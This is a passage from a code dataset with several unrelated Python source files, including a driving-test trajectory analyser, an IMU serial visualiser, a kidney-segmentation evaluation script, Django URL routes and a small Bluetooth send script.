mapping_cli.halts import get_halts\nfrom mapping_cli.maneuvers.maneuver import Maneuver\nfrom mapping_cli.utils import (aggregate_direction, debug_directions_visualize,\n generate_trajectory, get_marker_coord,\n majority_vote_smoothen, plot_line,\n rotate_rectangle,\n rotation_matrix_to_euler_angles,\n smoothen_trajectory, yml_parser)\n\n\ndef get_side_of_marker_from_line(markers, l_stop):\n markers_side = []\n # In Standard form: -m*x + y - c = 0\n for key in markers[\"aruco_bc_markers\"]:\n marker_obj = markers[\"aruco_bc_markers\"][key]\n marker_coord = get_marker_coord(marker_obj)\n # placing marker coords into the line\n # to determine their side\n if (\n -1 * l_stop[0] * marker_coord[0] + marker_coord[1] - l_stop[1] > 0\n ): # Might want to have a looser criterion\n markers_side.append(1)\n else:\n markers_side.append(-1)\n if not all(map(lambda x: x == markers_side[0], markers_side)):\n raise Exception(\"All markers for this maneuver should be behind the line!\")\n else:\n return markers_side[0]\n\n\ndef select_traj_points_by_time(tx, tz, segment_json, fps):\n if not os.path.exists(segment_json):\n raise Exception(\"segment_json not part of input arguments!\")\n with open(segment_json) as f:\n seg_vals = json.load(f)\n print(\"Seg vals: \", seg_vals.keys())\n frame_num_traffic_light_vid_start_abs = math.ceil(seg_vals[\"traffic\"][\"start\"][0])\n\n frame_num_red_light_off_abs = fps\n if frame_num_red_light_off_abs == -1:\n print(\"WARNING!!!!! traffic Light hook is not implemented\")\n return list(zip(tx, tz))\n\n if (\n frame_num_traffic_light_vid_start_abs > frame_num_red_light_off_abs\n ): # my video somehow cut afterwards\n return []\n\n end_frame_red_light_check = (\n frame_num_red_light_off_abs - frame_num_traffic_light_vid_start_abs\n )\n if end_frame_red_light_check > len(tx):\n end_frame_red_light_check = len(tx)\n return list(zip(tx[:end_frame_red_light_check], tz[:end_frame_red_light_check]))\n\n\ndef percentage_of_points_behind_line(selected_pts, l_stop, markers_side):\n behind_lines_decision = []\n for x, z in selected_pts:\n val_halt = -1 * l_stop[0] * x + z - l_stop[1]\n if np.sign(val_halt) != np.sign(markers_side):\n behind_lines_decision.append(1)\n else:\n behind_lines_decision.append(0)\n\n percentage_obey = 0.0\n for x in behind_lines_decision:\n if x == 1:\n percentage_obey += 1\n if behind_lines_decision == []:\n percentage_obey = 0.0\n else:\n percentage_obey /= len(behind_lines_decision)\n return behind_lines_decision, percentage_obey\n\n\ndef post_process_direction_vector(stats, directions):\n # aggregate seq\n uniq_vals = []\n pivot_val = directions[0]\n pivot_len = 1\n i = 1\n while i < len(directions):\n while i < len(directions) and pivot_val == directions[i]:\n pivot_len += 1\n i += 1\n if i < len(directions):\n uniq_vals.append([pivot_val, pivot_len])\n pivot_val = directions[i]\n pivot_len = 1\n i += 1\n if i == len(directions):\n uniq_vals.append([pivot_val, pivot_len])\n break\n\n # delete from seq\n if len(uniq_vals) >= 3:\n del_elem = []\n for idx in range(0, len(uniq_vals) - 2):\n # R = 0, H = -1, F = 1\n if (\n uniq_vals[idx + 0][0] == 0\n and uniq_vals[idx + 1][0] == -1\n and uniq_vals[idx + 2][0] == 0\n ): # RHR --> RR\n stats[\"R\"] -= 1\n stats[\"H\"] -= 1\n uniq_vals[idx][1] += uniq_vals[idx + 1][1]\n uniq_vals[idx][1] += uniq_vals[idx + 2][1]\n del_elem.append(idx + 1)\n del_elem.append(idx + 2)\n for idx in del_elem[::-1]:\n del uniq_vals[idx]\n\n # recreate seq\n directions = []\n for a, b in uniq_vals:\n directions += [a] * b # pythonic?\n\n return stats, directions\n\n\ndef get_line(line_info_json_f):\n line_info = None\n with open(line_info_json_f) as f:\n line_info = json.load(f)\n l_stop = np.polyfit(line_info[\"pts\"][\"tx\"], line_info[\"pts\"][\"tz\"], 1)\n return l_stop\n\n\ndef get_maneuver_box(box_path):\n val = None\n with open(box_path) as f:\n d = json.load(f)\n val = d[\"box\"]\n val = list(\n zip(*shapely.geometry.Polygon(val).minimum_rotated_rectangle.exterior.coords.xy)\n )\n return np.array(val)\n\n\ndef get_car_box(cam_x, cam_y, camera_matrix, manu, car_dims, site_config):\n car_top_left = [cam_x - car_dims[\"x_offset\"], cam_y - car_dims[\"z_offset\"]]\n car_top_right = [car_top_left[0] + car_dims[\"width\"], car_top_left[1]]\n car_bottom_right = [\n car_top_left[0] + car_dims[\"width\"],\n car_top_left[1] + car_dims[\"length\"],\n ]\n car_bottom_left = [car_top_left[0], car_top_left[1] + car_dims[\"length\"]]\n\n angle = rotation_matrix_to_euler_angles(camera_matrix)[1]\n\n if site_config.maneuvers_config[\"viz\"][manu][\"markers_vertical\"]:\n angle *= -1.0\n\n car_pts = np.array([car_top_left, car_top_right, car_bottom_right, car_bottom_left])\n car_rotated_pts = rotate_rectangle(car_pts, np.array([cam_x, cam_y]), angle)\n\n return car_rotated_pts\n\n\ndef plot_traj(\n tx,\n tz,\n manu,\n car_dims,\n line_json,\n config,\n maneuver: Maneuver,\n markers=None,\n save_image_name=None,\n camera_matrices=None,\n max_iou_idx=None,\n segment_json=None,\n):\n if markers is not None:\n plot_markers(markers)\n\n ax = plt.gca()\n\n # poly = mpatches.Polygon(box, alpha=1, fill=False, edgecolor='black')\n # ax.add_patch(poly)\n\n # Plot Car\n if max_iou_idx is not None:\n position = max_iou_idx\n car_pts = get_car_box(\n tx[position],\n tz[position],\n camera_matrices[position][:3, :3],\n manu,\n car_dims,\n )\n car_patch = mpatches.Polygon(car_pts, alpha=1, fill=False, edgecolor=\"red\")\n ax.add_patch(car_patch)\n\n line_info_json_f = line_json\n\n if config[\"line_type\"] == \"stop\":\n l_stop = get_line(line_info_json_f)\n\n stop_ped_offset = config[\"stop_ped_line_dist\"]\n l_ped = [l_stop[0], l_stop[1] + stop_ped_offset]\n elif config[\"line_type\"] == \"ped\":\n l_ped = get_line(line_info_json_f)\n stop_line_offset = config[\"stop_ped_line_dist\"]\n l_stop = [l_ped[0], l_ped[1] + stop_line_offset]\n\n line_viz_x_lim = config[\"xlim\"]\n\n plot_line(plt, l_stop, line_viz_x_lim, \"blue\")\n plot_line(plt, l_ped, line_viz_x_lim, \"yellow\")\n\n ## markers are always ahead of stop line,\n ## ped line is gonna be ahead of stop line\n ## X X * X $ |\n ## * $ |\n ## * $ |\n ## * $ |\n ## Legend: Marker : X, StopLine : |, PedLine1 : $, Pedline2 : *\n ## Define markers_side_ped such that both PL1 and PL2 are satisfied\n ##\n ## As we can assume that ped_line will always be ahead of stop_line,\n ## every point on ped_line will be sign(stop_line(point)) == sign(stop_line(marker))\n ##\n ## Let's find a point on stop_line, that will always be behind ped_line\n ## Use that point to find the side and then invert it\n markers_side = get_side_of_marker_from_line(markers, l_stop) # say this is 1\n point_on_stop_line = (0, l_stop[0] * 0 + l_stop[1])\n markers_side_ped = -1 * np.sign(\n -1 * l_ped[0] * point_on_stop_line[0] + point_on_stop_line[1] - l_ped[1]\n )\n\n selected_pts = select_traj_points_by_time(tx, tz, segment_json, config[\"fps\"])\n\n behind_lines_decision_ped, percentage_obey = percentage_of_points_behind_line(\n selected_pts, l_ped, markers_side_ped\n )\n behind_lines_decision_stop, percentage_stop = percentage_of_points_behind_line(\n selected_pts, l_stop, markers_side\n )\n label_decision = []\n for i in range(len(behind_lines_decision_ped)):\n if behind_lines_decision_ped[i] == 1 and behind_lines_decision_stop[i] == 1:\n label_decision.append(0)\n elif behind_lines_decision_ped[i] == 1 and behind_lines_decision_stop[i] == 0:\n label_decision.append(1)\n elif behind_lines_decision_ped[i] == 0 and behind_lines_decision_stop[i] == 0:\n label_decision.append(2)\n else:\n raise Exception(\"Error: Ped Line is not ahead of Stop Line in track!\")\n\n obey_decision = \"Fail\"\n if percentage_obey >= config[\"behind_lines_obey_threshold\"]:\n obey_decision = \"Pass\"\n\n stop_decision = \"Fail\"\n if percentage_stop > config[\"behind_lines_stop_threshold\"]:\n stop_decision = \"Pass\"\n\n maneuver.report.add_report(\"trafficLight_obey_decision\", obey_decision)\n maneuver.report.add_report(\"trafficLight_stop_decision\", stop_decision)\n maneuver.report.add_report(\n \"trafficLight_outcome\",\n {\n \"percentage_behind_both_lines\": percentage_obey,\n \"percentage_behind_stop_line\": percentage_stop,\n },\n )\n\n print(\n \"({}) Halt Behind Stop Line %: {} Decision: {}\".format(\n manu, percentage_stop, stop_decision\n )\n )\n print(\n \"({}) Halt Behind Ped Line %: {} Decision: {}\".format(\n manu, percentage_obey, obey_decision\n )\n )\n\n color_f = [\"green\", \"yellow\", \"brown\"]\n size_f = [25, 25, 40]\n len_plot = len(selected_pts)\n print(len(selected_pts), len(label_decision))\n plt.scatter(\n [x[0] for x in selected_pts],\n [x[1] for x in selected_pts],\n c=[color_f[label_decision[i]] for i in range(0, len_plot)],\n s=[size_f[label_decision[i]] for i in range(0, len_plot)],\n marker=\"*\",\n )\n\n plot_legend()\n plot_limits(config[\"xlim\"], config[\"ylim\"])\n\n # if markers is not None:\n # rotate_plot(ax, markers, manu)\n\n plt.savefig(save_image_name, dpi=200)\n plt.close()\n\n\ndef plot_legend():\n red_patch = mpatches.Patch(color=\"red\", label=\"Reverse\")\n blue_patch = mpatches.Patch(color=\"blue\", label=\"Forward\")\n black_patch = mpatches.Patch(color=\"black\", label=\"Halt\")\n plt.legend(\n handles=[blue_patch, red_patch, black_patch],\n prop={\"size\": 10},\n loc=\"upper right\",\n )\n\n\ndef plot_markers(markers):\n for key in markers[\"aruco_bc_markers\"]:\n marker_obj = markers[\"aruco_bc_markers\"][key]\n marker_coord = get_marker_coord(marker_obj)\n plt.scatter(\n marker_coord[0], marker_coord[1], c=[[0, 0, 0]], marker=\".\", s=100.0\n )\n\n\ndef plot_limits(x_limits, y_limits):\n plt.xlim(x_limits)\n plt.ylim(y_limits)\n plt.gca().set_aspect(\"equal\", \"box\")\n\n\nclass Traffic(Maneuver):\n def run(self):\n map_path = self.config.get_config_value(\"map_file_path\")\n if not os.path.exists(map_path):\n map_path = os.path.join(self.inputs[\"cwd\"], map_path)\n\n calib_path = self.config[\"calibration_file_path\"]\n if not os.path.exists(calib_path):\n calib_path = os.path.join(self.inputs[\"cwd\"], calib_path)\n try:\n traj = generate_trajectory(\n self.inputs[\"back_video\"],\n self.config.get_config_value(\"maneuver\"),\n map_path,\n self.out_folder,\n calib_path,\n self.config[\"size_marker\"],\n self.config[\"aruco_test_exe\"],\n self.inputs[\"cwd\"],\n )\n except Exception as e:\n print(\"Error generating traffic trajectory: \", e)\n raise e\n\n _, tx, ty, tz, camera_matrices = traj\n tx, ty, tz = smoothen_trajectory(tx, ty, tz, 25, 25, 2)\n markers = yml_parser(map_path)\n\n # get_direction_stats\n direction, stats = self.get_direction_stats(\n tx,\n ty,\n tz,\n camera_matrices,\n self.config[\"rev_fwd_halt_segment_min_frame_len\"],\n self.config[\"min_frame_len\"],\n )\n\n # fwd rev halts\n halts = get_halts(tx, ty, tz)\n\n # plot\n # plot_traj(\n # tx, tz, \"traffic\", self.config['car_dims'], self.config['line_file_path'], self.config, \"traffic\", camera_matrices=camera_matrices, max_iou_idx=self.config['max_iou'], segment_json=os.path.join(self.out_folder, f\"segment.json\")\n # )\n\n line_path = self.config[\"line_file_path\"]\n if not os.path.exists(line_path):\n line_path = os.path.join(self.inputs[\"cwd\"], line_path)\n\n plot_traj(\n tx,\n tz,\n \"traffic\",\n self.config[\"car_dims\"],\n line_path,\n self.config,\n self,\n markers,\n segment_json=os.path.join(self.out_folder, \"manu_json_seg_int.json\"),\n save_image_name=os.path.join(self.out_folder, \"traffic.png\"),\n )\n\n return (\n True,\n stats,\n { # TODO: Add pass/fail\n \"trajectory\": f\"{os.path.join(self.out_folder, 'traffic.png')}\"\n },\n )\n\n def get_direction_stats(\n self,\n tx,\n ty,\n tz,\n camera_matrices,\n rev_fwd_halt_segment_min_frame_len,\n min_frame_len,\n ):\n \"\"\" \"\"\"\n directions = [1]\n Xs = []\n for i in range(1, len(tx)):\n translation = (\n np.array([tx[i], ty[i], tz[i], 1.0]).reshape(4, 1).astype(np.float64)\n )\n X = camera_matrices[i - 1][:3, :3].dot(\n translation[:3, 0] - camera_matrices[i - 1][:3, -1]\n )\n # print(X)\n direction = X[2]\n\n if [tx[i], ty[i], tz[i]] == [tx[i - 1], ty[i - 1], tz[i - 1]]:\n directions.append(directions[-1])\n else:\n if direction >= 0:\n directions.append(1)\n else:\n directions.append(0)\n\n directions = directions[1:]\n\n # Get Forward-Reverse\n directions = np.array(directions + [-1])\n\n # Get halts\n halt_info = get_halts(tx, ty, tz)\n directions[halt_info == True] = -1\n directions = directions.tolist()\n directions = majority_vote_smoothen(\n directions, rev_fwd_halt_segment_min_frame_len\n )\n\n stats, directions = aggregate_direction(directions, min_frame_len)\n stats, _ = aggregate_direction(directions, min_frame_len)\n\n stats, directions = post_process_direction_vector(stats, directions)\n\n debug_directions_visualize(plt, tx, ty, tz, directions)\n\n return directions, stats\n","sub_path":"mapping_cli/maneuvers/traffic.py","file_name":"traffic.py","file_ext":"py","file_size_in_byte":15007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"350718453","text":"# -*- coding: utf-8 -*-\n\n#import pyqtgraph as pg\n\nimport serial\nimport threading\nimport struct\nimport sys\nimport time\nimport math\nimport numpy as np\nfrom PySide import QtCore, QtGui, QtOpenGL\nfrom OpenGL import GL\n\n# import PySide\n# from PySide import QtGui\n\nSERIAL_PORT = \"/dev/tty.usbmodem747851\"\nPACKET_HEADER1 = b\"\\x02\"\nPACKET_HEADER2 = b\"\\xB5\"\n\nwindow = None\n\ndef print_input(serial):\n code = 0\n state = 0\n crc = 0\n data_expected_length = 0\n data_received_length = 0\n data_buffer = bytes()\n\n while True:\n data = serial.read()\n\n if (state == 0):\n if (data == PACKET_HEADER1):\n state += 1\n print(\"got header1\")\n elif (state == 1):\n if (data == PACKET_HEADER2):\n state += 1\n print(\"got header2\")\n else:\n state = 0\n elif (state == 2):\n code = data\n crc ^= ord(data)\n state += 1\n elif (state == 3):\n data_expected_length = ord(data)\n crc ^= ord(data)\n state += 1\n elif (state == 4):\n data_expected_length |= (ord(data) << 8)\n crc ^= ord(data)\n state += 1\n print(\"data length: {}\".format(data_expected_length))\n elif (state == 5):\n data_buffer += data\n crc ^= ord(data)\n data_received_length += 1\n if (data_received_length >= data_expected_length):\n state += 1\n elif (state == 6):\n if (bytes([crc]) == data):\n print(\"crc correct!\")\n update_imu_data(struct.unpack(\"< ffffff\", data_buffer))\n else:\n print(\"calc crc: {}\".format(bytes([crc])))\n print(\"got crc: {}\".format(data))\n print(\"crc bad!\")\n state = 0\n crc = 0\n data_expected_length = 0\n data_received_length = 0\n data_buffer = bytes()\n\ndef update_imu_data(imu_data):\n global window\n\n (imu_rate_x, imu_rate_y, imu_rate_z,\n imu_angles_x, imu_angles_y, imu_angles_z) = imu_data\n\n window.glWidget.setXRotation(-imu_angles_y)\n window.glWidget.setYRotation(imu_angles_x)\n\n print(\"imu data: {}\", imu_data)\n\ndef send_packet(serial_port, code, data=None):\n if data == None: data = struct.pack(\"< B\", 0x0)\n size = len(data)\n print(\"size is {}\".format(size))\n\n packet_body = bytes()\n packet_body += struct.pack(\"< Bh\", code, size)\n packet_body += data\n\n crc = 0x00\n for b in packet_body:\n crc = crc ^ b\n\n packet = bytes()\n packet += struct.pack(\"< BB\", 0x02, 0xB5)\n packet += packet_body\n packet += struct.pack(\"< B\", crc)\n\n serial_port.write(packet)\n print(packet)\n\ndef request_gyro_acc(serial_port):\n while True:\n time.sleep(0.1)\n send_packet(serial_port, 2)\n\n\nclass Window(QtGui.QWidget):\n def __init__(self, parent=None):\n super().__init__(parent)\n\n self.glWidget = GLWidget()\n\n mainLayout = QtGui.QHBoxLayout()\n mainLayout.addWidget(self.glWidget)\n self.setLayout(mainLayout)\n\n self.setWindowTitle(self.tr(\"openGL\"))\n\n def show(self):\n super().show()\n\n self.glWidget.setXRotation(-10)\n self.glWidget.setYRotation(30)\n self.glWidget.setZRotation(0)\n\nclass GLWidget(QtOpenGL.QGLWidget):\n def __init__(self, parent=None):\n QtOpenGL.QGLWidget.__init__(self, parent)\n\n print(\"widget init\")\n self.object = 0\n self.xRot = 0\n self.yRot = 0\n self.zRot = 0\n\n self.colorBlue = QtGui.QColor.fromRgb(0, 0, 240)\n self.colorGray = QtGui.QColor.fromRgb(177, 177, 177)\n self.colorGreen = QtGui.QColor.fromRgb(0, 240, 0)\n self.colorWhite = QtGui.QColor.fromRgb(255, 255, 255)\n\n def xRotation(self):\n return self.xRot\n\n def yRotation(self):\n return self.yRot\n\n def zRotation(self):\n return self.zRot\n\n def minimumSizeHint(self):\n return QtCore.QSize(50, 50)\n\n def sizeHint(self):\n return QtCore.QSize(400, 400)\n\n def setXRotation(self, angle):\n angle = (angle + 90) * 16\n if angle != self.xRot:\n self.xRot = angle\n self.updateGL()\n\n def setYRotation(self, angle):\n angle = angle * 16\n if angle != self.yRot:\n self.yRot = angle\n self.updateGL()\n\n def setZRotation(self, angle):\n angle = (angle + 135) * 16\n if angle != self.zRot:\n self.zRot = angle\n self.updateGL()\n\n def initializeGL(self):\n self.qglClearColor(self.colorWhite)\n self.object = self.makeObject()\n GL.glShadeModel(GL.GL_FLAT)\n GL.glEnable(GL.GL_DEPTH_TEST)\n GL.glEnable(GL.GL_CULL_FACE)\n\n def paintGL(self):\n GL.glClear(GL.GL_COLOR_BUFFER_BIT | GL.GL_DEPTH_BUFFER_BIT)\n GL.glLoadIdentity()\n GL.glTranslated(0.0, 0.0, -10.0)\n GL.glRotated(self.xRot / 16.0, 1.0, 0.0, 0.0)\n GL.glRotated(self.yRot / 16.0, 0.0, 1.0, 0.0)\n GL.glRotated(self.zRot / 16.0, 0.0, 0.0, 1.0)\n GL.glCallList(self.object)\n\n def resizeGL(self, width, height):\n side = min(width, height)\n GL.glViewport(int((width - side) / 2), int((height - side) / 2), side, side)\n\n GL.glMatrixMode(GL.GL_PROJECTION)\n GL.glLoadIdentity()\n GL.glOrtho(-0.5, +0.5, -0.5, +0.5, 4.0, 15.0)\n GL.glMatrixMode(GL.GL_MODELVIEW)\n\n def makeObject(self):\n genList = GL.glGenLists(1)\n GL.glNewList(genList, GL.GL_COMPILE)\n\n GL.glBegin(GL.GL_QUADS)\n\n x1 = +0.35\n y1 = -0.10\n x2 = +0.10\n y2 = -0.35\n\n self.qglColor(self.colorBlue)\n self.quad(x1, y1, x2, y2, y2, x2, y1, x1)\n\n self.qglColor(self.colorGreen)\n self.extrude(x1, y1, x2, y2)\n self.extrude(y2, x2, y1, x1)\n\n self.qglColor(self.colorGray)\n self.extrude(x2, y2, y2, x2)\n self.extrude(y1, x1, x1, y1)\n\n GL.glEnd()\n GL.glEndList()\n\n return genList\n\n def quad(self, x1, y1, x2, y2, x3, y3, x4, y4):\n GL.glVertex3d(x1, y1, +0.07)\n GL.glVertex3d(x2, y2, +0.07)\n GL.glVertex3d(x3, y3, +0.07)\n GL.glVertex3d(x4, y4, +0.07)\n\n GL.glVertex3d(x4, y4, -0.07)\n GL.glVertex3d(x3, y3, -0.07)\n GL.glVertex3d(x2, y2, -0.07)\n GL.glVertex3d(x1, y1, -0.07)\n\n def extrude(self, x1, y1, x2, y2):\n GL.glVertex3d(x1, y1, -0.07)\n GL.glVertex3d(x2, y2, -0.07)\n GL.glVertex3d(x2, y2, +0.07)\n GL.glVertex3d(x1, y1, +0.07)\n\ndef main():\n global window\n# app = QtGui.QApplication(sys.argv)\n# ex = Example()\n# sys.exit(app.exec_())\n\n app = QtGui.QApplication(sys.argv)\n window = Window()\n window.show()\n\n serial_port = serial.Serial(SERIAL_PORT, 115200)\n thread1 = threading.Thread(target=print_input, args=(serial_port,))\n thread1.start()\n\n thread2 = threading.Thread(target=request_gyro_acc, args=(serial_port,))\n thread2.start()\n\n sys.exit(app.exec_())\n\n #config = (\n # 1,\n # 1.01,\n # 1.02,\n # 1.03,\n # 1.04,\n # 2.01,\n # 2.02,\n # 2.03,\n # 2.04,\n # 3.01,\n # 3.02,\n # 3.03,\n # 3.04,\n # 4.01,\n # 4.02,\n # 4.03,\n # 4.04,\n # 5.01,\n # 5.02,\n # 5.03,\n # 5.04,\n # 6.01,\n # 6.02,\n # 6.03,\n # 6.04,\n # )\n ##send_packet(serial_port, 101, struct.pack(\"< h ffff ffff ffff ffff ffff ffff\", *config))\n\nif __name__ == '__main__':\n main()\n","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":7851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"112383994","text":"import torch\nfrom torch.utils.data import DataLoader\nimport os\nimport time\nimport numpy as np\nimport argparse\nimport Nets.vnet_ker3 as vnet\nfrom utils1 import *\nfrom functools import reduce\nfrom starter_code.evaluation import evaluate\n# use the official evaluate function\n# from starter_code import evaluation\nfrom starter_code.utils import load_volume, load_segmentation\n# from utils.vis_tools import draw_contour_volume\n# which gpu to use (node01: 0~2, node02: 0~7, node03: 0~7)\n# torch.cuda.set_device(2)\nfrom utils.kits2019_dataloader_3d import Kits2019DataLoader3D\nfrom sklearn.feature_extraction import image\nfrom visual import predict_patch\nfrom test_methods import *\nfrom utils.vis_tools import visualize_patch\nfrom train_and_test import test_nll, test_dice\n\n\ndef main():\n # --------- Parse arguments ----------------------------------------------------------\n parser = argparse.ArgumentParser()\n parser.add_argument('--start_id', type=int, default=189,\n help='case id to test.')\n parser.add_argument('--end_id', type=int, default=209,\n help='case id to test.')\n parser.add_argument('--test_op', type=str, default='case', choices=[\"case\", \"patch\"],\n help='test operations')\n parser.add_argument('--model_path', type=str, default='./models/Dcpa/',\n help='Path to load trained model and configs.')\n parser.add_argument('--sliding_window', type=bool, default=False, help='Whether to use sliding window to test.')\n parser.add_argument('--model_name', type=str, default='vnet_step1_277.tar',\n help='Name to load trained model.')\n parser.add_argument('--test_path', type=str, default='./set/test',\n help='Path to load test patches.')\n parser.add_argument('--data_suffix', type=str, default='nii', help='Which type of data to load.')\n parser.add_argument('--strides', type=int, nargs=3, help='step for sliding window.')\n args = parser.parse_args()\n # ---------- Load model --------------------------------------------------------------\n # loading configs\n configs = get_config(args.model_path + '/config.yaml')\n model = vnet.VNet(elu=False, nll=True,\n attention=configs['attention'], nclass=3)\n if args.model_name.endswith('.pkl'):\n model = torch.load(os.path.join(args.model_path, args.model_name))\n else:\n checkpoint = torch.load(os.path.join(args.model_path, args.model_name))['model_state_dict']\n model.load_state_dict(\n {k.replace('module.', ''): v for k, v in checkpoint.items()})\n model.cuda()\n\n if args.test_op == 'case':\n testF = open(os.path.join(args.model_path, args.model_name + '_case.csv'), 'w')\n testF.write('Case,Kidney_Dice,Tumor_Dice\\n ')\n\n dice_sum = [0.0, 0.0]\n\n print('starting no crop...')\n for i in range(args.start_id, args.end_id + 1):\n if args.sliding_window:\n # pred = predict_volume_slide_window(model, configs, args.model_path, i, suffix=args.data_suffix)\n pred = predict_volume_sw(model, configs, args.model_path, i, patch_size=(160, 160, 64),\n strides=(20, 20, 10), suffix=args.data_suffix, mirror=True)\n print(\"Using sliding window method...\")\n else:\n pred = predict_volume(model, configs, args.model_path, i, args.data_suffix)\n print(\"Using no sliding window method...\")\n if args.data_suffix == 'npy':\n seg_data = Kits2019DataLoader3D.load_patient(os.path.join(\n '/home/data_share/npy_data/', str(i).zfill(5)))[0][1]\n\n else:\n seg_data = load_segmentation(i).get_fdata()\n\n assert len(np.unique(seg_data)) == 3\n dice = evaluate_dice(pred, seg_data)\n\n case_id = str(i).zfill(5)\n\n testF.write('{},{},{}\\n'.format(case_id, dice[0], dice[1]))\n testF.flush()\n\n dice_sum = list_add(dice_sum, dice)\n\n # else:\n # print('starting crop...')\n # for i in range(args.start_id, args.end_id + 1):\n # volume, seg = load_case(i)\n # volume = volume.get_data().astype(np.float)\n # seg = seg.get_data()\n # volume, seg = crop_non_label_slice(volume, seg)\n # volume, seg = crop_as_appointed_size(volume, seg)\n # assert len(np.unique(seg)) == 3\n # volume = volume[None, None, :, :, :]\n # pred = predict_patch(model, configs, volume)\n # dice = evaluate_dice(pred, seg)\n #\n # case_id = str(i).zfill(5)\n #\n # testF.write('{},{},{}\\n'.format(case_id, dice[0], dice[1]))\n # testF.flush()\n #\n # dice_sum = list_add(dice_sum, dice)\n\n tk_avg = dice_sum[0] / (args.end_id - args.start_id + 1)\n tu_avg = dice_sum[1] / (args.end_id - args.start_id + 1)\n testF.write('{},{},{}'.format('avg', tk_avg, tu_avg))\n testF.flush()\n\n else:\n testF = open(os.path.join(args.model_path,\n args.model_name + '_patch.csv'), 'w')\n testF.write('Case,Kidney_Dice,Tumor_Dice\\n ')\n dice_sum = [0.0, 0.0]\n files = os.listdir(args.test_path)\n files.sort()\n\n for file in files:\n data_path = os.path.join(args.test_path, file, 'none')\n patches = os.listdir(data_path)\n patches.sort()\n case_dice = [0.0, 0.0]\n case_imgs, case_segs = [], []\n for patch in patches:\n if patch.startswith(\"img\"):\n temp_img = nib.load(os.path.join(data_path, patch))\n case_imgs.append(temp_img.get_data()[\n None, None, :, :, :].astype(np.float))\n\n elif patch.startswith(\"seg\"):\n temp_img = nib.load(os.path.join(data_path, patch))\n case_segs.append(temp_img.get_data().astype(np.int))\n\n else:\n pass\n\n for i, patch in enumerate(case_imgs):\n pred = predict_patch(model, configs, patch)\n print(pred)\n temp_dice = evaluate_dice(pred, case_segs[i])\n case_dice = list_add(case_dice, temp_dice)\n\n case_dice = [c / len(case_imgs) for c in case_dice]\n dice_sum = list_add(dice_sum, case_dice)\n testF.write(\"{},{},{}\\n\".format(file, case_dice[0], case_dice[1]))\n testF.flush()\n\n dice_avg = [c / len(files) for c in dice_sum]\n testF.write('{},{},{}'.format('avg', dice_avg[0], dice_avg[1]))\n testF.flush()\n\n testF.close()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"test_step2.py","file_name":"test_step2.py","file_ext":"py","file_size_in_byte":6895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"98449566","text":"\"\"\"StudentManagement URL Configuration\r\n\r\nThe `urlpatterns` list routes URLs to views. For more information please see:\r\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\r\nExamples:\r\nFunction views\r\n 1. Add an import: from my_app import views\r\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\r\nClass-based views\r\n 1. Add an import: from other_app.views import Home\r\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\r\nIncluding another URLconf\r\n 1. Import the include() function: from django.conf.urls import url, include\r\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\r\n\"\"\"\r\nfrom django.conf.urls import url\r\nfrom django.contrib import admin\r\nfrom app01 import views\r\nurlpatterns = [\r\n url(r'^admin/', admin.site.urls),\r\n url(r'^classes_list/',views.classes_list),\r\n url(r'^add_class/',views.add_class),\r\n url(r'^del_class/',views.del_class),\r\n url(r'^edit_class/',views.edit_class),\r\n\r\n url(r'^students_list/',views.students_list),\r\n url(r'^add_student/',views.add_student),\r\n url(r'^del_student/',views.del_student),\r\n url(r'^edit_student/',views.edit_student),\r\n\r\n url(r'^teachers_list/',views.teachers_list),\r\n url(r'^add_teacher/',views.add_teacher),\r\n url(r'^del_teacher/',views.del_teacher),\r\n url(r'^edit_teacher/',views.edit_teacher),\r\n\r\n url(r'^courses_list/',views.courses_list),\r\n url(r'^add_course/',views.add_course),\r\n url(r'^del_course/',views.del_course),\r\n url(r'^edit_course/',views.edit_course),\r\n\r\n\r\n\r\n]\r\n","sub_path":"StudentManagement/StudentManagement/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"603973878","text":"import glob\nimport csv\nimport vtk\nimport numpy as np\nfrom vtk.util import numpy_support\nfrom dolfin import *\nfrom matplotlib import *\nfrom pylab import *\n\nx=[[-15.9948,-259.567,46.0585],[19.2173,-259.134,41.1639],[60.3139,-269.595,7.38224],[92.6717,-265.316,-12.0567],[128.634,-241.675,-39.9371],[160.609,-189.953,-37.2119]]\nn=len(x)\nid=[]\nk=0\ndef locator(filename):\n vtk_reader = vtk.vtkXMLUnstructuredGridReader()\n vtk_reader.SetFileName(filename)\n vtk_reader.Update()\n grid = vtk_reader.GetOutput()\n kdtree = vtk.vtkKdTreePointLocator()\n kdtree.SetDataSet(grid)\n kdtree.BuildLocator()\n time = numpy_support.vtk_to_numpy(grid.GetPointData().GetScalars())\n return kdtree,time\ni=0\nwhile i\\d+)/$', \n 'edit', \n name='proposition-edit'),\n\n # redico/1/propositions/1/ \n url(r'^/(?P\\d+)/$', \n 'detail', \n name='proposition-detail'), \n\n # redico/1/propositions/1/edit \n url(r'^/(?P\\d+)/edit/$', \n 'edit', \n name='proposition-edit'), \n\n # Toutes les propositions d'un redico \n # redico/1/propositions \n url(r'^s/$', \n 'index', \n name='proposition-index'),\n)","sub_path":"redico/propositions/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"460346052","text":"import bluetooth\n\nbd_addr = \"44:5E:CD:B0:6D:7D\"\n\nport = 1\n\nsock=bluetooth.BluetoothSocket(bluetooth.RFCOMM)\nsock.connect((bd_addr, port))\n#sock.connect((\"44:5E:CD:B0:6D:7D\", port)\n\nsock.send(\"Hello\")\n\nsock.close()\n","sub_path":"Bluetooth Send.py","file_name":"Bluetooth Send.py","file_ext":"py","file_size_in_byte":214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"112549627","text":"import asyncio\nimport logging\nfrom typing import Awaitable\nfrom typing import Dict\nfrom typing import 